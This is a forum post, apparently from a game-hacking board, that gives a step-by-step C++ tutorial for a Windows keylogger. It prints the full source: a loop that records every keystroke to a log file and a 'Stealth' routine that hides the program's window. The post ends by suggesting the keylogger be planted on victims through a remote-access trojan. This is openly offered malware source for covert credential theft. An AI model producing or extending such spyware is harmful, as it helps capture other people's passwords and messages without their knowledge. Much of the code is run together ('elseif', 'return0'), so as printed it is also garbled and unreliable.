MPGHB

Members Login
Username 
 
Password 
    Remember Me  
 

Topic: How To Make A Keylogger, Using C++ Tutorial

Post Info
Senior Member
Status: Offline
Posts: 181
Date:
How To Make A Keylogger, Using C++ Tutorial
Permalink  
 

How to make a Keylogger, Using C++ Tutorial
 
 
 
What is a Keylogger
 
Keyloggers are programs which record each keystroke on the computer they are installed on. This provides a complete log of text entered such as passwords, emails sent and websites visited. This log can then be automatically sent over a remote connection without the person using the computer necessarily knowing about it.
 
This tutorial will teach you to create a keylogger in c++ using Dev-C++
It can also be done in, codegear c++ builder.
This keylogger will save a log of the keys that are pressed on your HD.
 
Lets get started.
 
First we need to create a new project.
Click on 'File' > 'New' > 'Project'.
Now choose 'Win32 Console Application' and choose for name "Keylogger".
 
If you get the 'Win32 Application Wizzard' click on 'Next' and then select 'Empty project' under 'Additional options' and click on 'Finish'.
 
You should have a empty project now.
Now we will add a .cpp file.
 
Right click on 'Source Files' and take 'Add' > 'New Item'.
 
Now take 'C++ File(.cpp)' and name it Keylogger.
 
then click 'Add'.
 
Now open Keylogger.cpp and Write this in it:
#include<iostream>    // These we need to usingnamespace std;   // include to get our#include<windows.h>   // Keylogger working.#include<winuser.h>   //
Now write this:
intSave(int key_stroke,char*file); 
voidStealth();//Declare Stealth.
 
Now we need to make a main function.(The main function will be the first that will be executed).
int main()  
{
        Stealth();// This will call the stealth function we will write later.
    char i;//Here we declare 'i' from the type 'char'
 
    while(1)// Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
    {           // Note this is also the part that will increase your cpu usage
        for(i =8; i <=190; i++)
        {if(GetAsyncKeyState(i)==-32767)Save(i,"LOG.txt");    // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
        }
    }
    system ("PAUSE");// Here we say that the system have to wait before exiting.return0;}
 
Now under the latest code add this to make it look better:
/* *********************************** */
 
Under that we will write our keylogger so it will also recognize special keys like the 'spacebar' and stuff. If you want to add some yourself here is a site where you can look up the ascii table at;
http://www.asciitable.com/
 
intSave(int key_stroke,char*file)   // Here we define our save function that we declared before.{
    if((key_stroke ==1)||(key_stroke ==2))
        return0;
 
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file,"a+");
    
    cout << key_stroke << endl;
 
        if(key_stroke ==8)  // The numbers stands for the ascii value of a character
        fprintf(OUTPUT_FILE,"%s","[BACKSPACE]");  // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
        elseif(key_stroke ==13)
        fprintf(OUTPUT_FILE,"%s","\n");// This will make a newline when the enter key is pressed.
        elseif(key_stroke ==32)
        fprintf(OUTPUT_FILE,"%s"," ");
        elseif(key_stroke == VK_TAB)              //VK stands for virtual key wich are the keys like Up arrow, down arrow..
        fprintf(OUTPUT_FILE,"%s","[TAB]");
            elseif(key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE,"%s","[SHIFT]");
            elseif(key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE,"%s","[CONTROL]");
                elseif(key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE,"%s","[ESCAPE]");
                elseif(key_stroke == VK_END)
        fprintf(OUTPUT_FILE,"%s","[END]");
                    elseif(key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE,"%s","[HOME]");
                    elseif(key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE,"%s","[LEFT]");
                        elseif(key_stroke == VK_UP)
        fprintf(OUTPUT_FILE,"%s","[UP]");
                        elseif(key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE,"%s","[RIGHT]");
                            elseif(key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE,"%s","[DOWN]");
                            elseif(key_stroke ==190|| key_stroke ==110)
        fprintf(OUTPUT_FILE,"%s",".");
                            else
                                fprintf(OUTPUT_FILE,"%s",&key_stroke);
 
fclose (OUTPUT_FILE);
    return0;}
 
Now we going to add Stealth to it. Under the latest code add again:
/* *********************************** */
 
Now write:
voidStealth(){
  HWND Stealth;
  AllocConsole();
  Stealth=FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);}
 
Now, if you've done everything right, your full source code should look like below:
intSave(int key_stroke,char*file);voidStealth();
 
int main() 
{
        Stealth(); 
    char i;
 
    while(1)
    {
        for(i =8; i <=190; i++)
        {if(GetAsyncKeyState(i)==-32767)Save(i,"LOG.txt"); 
        }
    }
    system ("PAUSE");return0;}
 
/* *********************************** */
 
intSave(int key_stroke,char*file){
    if((key_stroke ==1)||(key_stroke ==2))
        return0;
 
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file,"a+");
 
    cout << key_stroke << endl;
 
        if(key_stroke ==8)
        fprintf(OUTPUT_FILE,"%s","[BACKSPACE]");  
        elseif(key_stroke ==13)
        fprintf(OUTPUT_FILE,"%s","\n"); 
        elseif(key_stroke ==32)
        fprintf(OUTPUT_FILE,"%s"," ");
        elseif(key_stroke == VK_TAB)              
        fprintf(OUTPUT_FILE,"%s","[TAB]");
            elseif(key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE,"%s","[SHIFT]");
            elseif(key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE,"%s","[CONTROL]");
                elseif(key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE,"%s","[ESCAPE]");
                elseif(key_stroke == VK_END)
        fprintf(OUTPUT_FILE,"%s","[END]");
                    elseif(key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE,"%s","[HOME]");
                    elseif(key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE,"%s","[LEFT]");
                        elseif(key_stroke == VK_UP)
        fprintf(OUTPUT_FILE,"%s","[UP]");
                        elseif(key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE,"%s","[RIGHT]");
                            elseif(key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE,"%s","[DOWN]");
                            elseif(key_stroke ==190|| key_stroke ==110)
        fprintf(OUTPUT_FILE,"%s",".");
                            else
                                fprintf(OUTPUT_FILE,"%s",&key_stroke);
 
fclose (OUTPUT_FILE);
    return0;}
 
/* *********************************** */
 
voidStealth(){
  HWND Stealth;
  AllocConsole();
  Stealth=FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);}
 
Congrats , you wrote your first own keylogger, enjoy. :)
And remember this could be placed using a RAT :P 

 



__________________
 
Page 1 of 1  sorted by
Quick Reply

Please log in to post quick replies.



Create your own FREE Forum
Report Abuse
Powered by ActiveBoard